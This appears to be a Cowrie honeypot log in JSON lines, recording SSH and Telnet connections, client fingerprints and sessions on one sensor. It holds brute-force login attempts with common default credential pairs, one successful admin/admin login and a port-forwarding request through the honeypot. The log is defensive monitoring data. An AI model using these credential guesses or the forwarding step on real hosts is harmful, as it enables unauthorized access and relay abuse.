{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:22.952498Z","src_ip":"8.218.166.49","session":"d8478969a8fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"60.9","message":"Connection lost after 60.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:32.209845Z","src_ip":"8.218.166.49","session":"d6f17f00ca6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:40.183022Z","src_ip":"8.218.166.49","session":"e001a519d55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:47.293299Z","src_ip":"8.218.166.49","session":"b1bad247a686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"103.0","message":"Connection lost after 103.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:52.365165Z","src_ip":"8.218.166.49","session":"e001a519d55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:48:55.277875Z","src_ip":"8.218.166.49","session":"ddcf2bfbe6b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:03.499902Z","src_ip":"8.218.166.49","session":"d8478969a8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10368,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ee249a9343","protocol":"ssh","message":"New connection: 87.251.64.176:10368 (10.17.0.5:22) [session: 47ee249a9343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:09.832490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:09.837574Z","src_ip":"87.251.64.176","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:09.934462Z","src_ip":"87.251.64.176","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:10.224754Z","src_ip":"87.251.64.176","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:10.324255Z","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:10.422330Z","src_ip":"87.251.64.176","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:10.523273Z","src_ip":"87.251.64.176","session":"47ee249a9343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1072bf6239bf","protocol":"ssh","message":"New connection: 8.218.166.49:48418 (10.17.0.5:22) [session: 1072bf6239bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:39.278198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:39.283729Z","src_ip":"8.218.166.49","session":"1072bf6239bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:44.229309Z","src_ip":"8.218.166.49","session":"1072bf6239bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:49.376575Z","src_ip":"8.218.166.49","session":"1072bf6239bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:49:50.599146Z","src_ip":"8.218.166.49","session":"1072bf6239bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39126,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b90101a135e","protocol":"ssh","message":"New connection: 8.218.166.49:39126 (10.17.0.5:22) [session: 2b90101a135e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:16.608640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:16.614378Z","src_ip":"8.218.166.49","session":"2b90101a135e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55650,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4d00477029","protocol":"ssh","message":"New connection: 8.218.166.49:55650 (10.17.0.5:22) [session: 3b4d00477029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:24.972080Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55664,"dst_ip":"10.17.0.5","dst_port":22,"session":"5395f140797c","protocol":"ssh","message":"New connection: 8.218.166.49:55664 (10.17.0.5:22) [session: 5395f140797c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:32.693506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:32.698725Z","src_ip":"8.218.166.49","session":"5395f140797c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.224.189.239","src_port":38985,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4201fac8f54","protocol":"telnet","message":"New connection: 221.224.189.239:38985 (159.203.135.109:23) [session: c4201fac8f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:33.274740Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52846,"dst_ip":"10.17.0.5","dst_port":22,"session":"92850d6e3b1c","protocol":"ssh","message":"New connection: 8.218.166.49:52846 (10.17.0.5:22) [session: 92850d6e3b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:38.815010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:38.824090Z","src_ip":"8.218.166.49","session":"92850d6e3b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:39.908768Z","src_ip":"8.218.166.49","session":"92850d6e3b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.06172800064087,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:50:46.336332Z","src_ip":"221.224.189.239","session":"c4201fac8f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cceaf9bd10","protocol":"ssh","message":"New connection: 8.218.166.49:46944 (10.17.0.5:22) [session: e1cceaf9bd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:09.682018Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:11.400076Z","src_ip":"8.218.166.49","session":"5395f140797c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:12.414631Z","src_ip":"8.218.166.49","session":"92850d6e3b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.8","message":"Connection lost after 34.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:13.624851Z","src_ip":"8.218.166.49","session":"92850d6e3b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:27.858558Z","src_ip":"8.218.166.49","session":"5395f140797c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:32.899592Z","src_ip":"8.218.166.49","session":"e1cceaf9bd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:32.903590Z","src_ip":"8.218.166.49","session":"e1cceaf9bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"60.3","message":"Connection lost after 60.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:33.031305Z","src_ip":"8.218.166.49","session":"5395f140797c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:39.562302Z","src_ip":"8.218.166.49","session":"2b90101a135e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:47.754142Z","src_ip":"8.218.166.49","session":"3b4d00477029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:47.758151Z","src_ip":"8.218.166.49","session":"3b4d00477029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":45698,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b11fc22b0b","protocol":"ssh","message":"New connection: 2.57.121.112:45698 (159.203.135.109:22) [session: 97b11fc22b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:53.940936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:53.945690Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
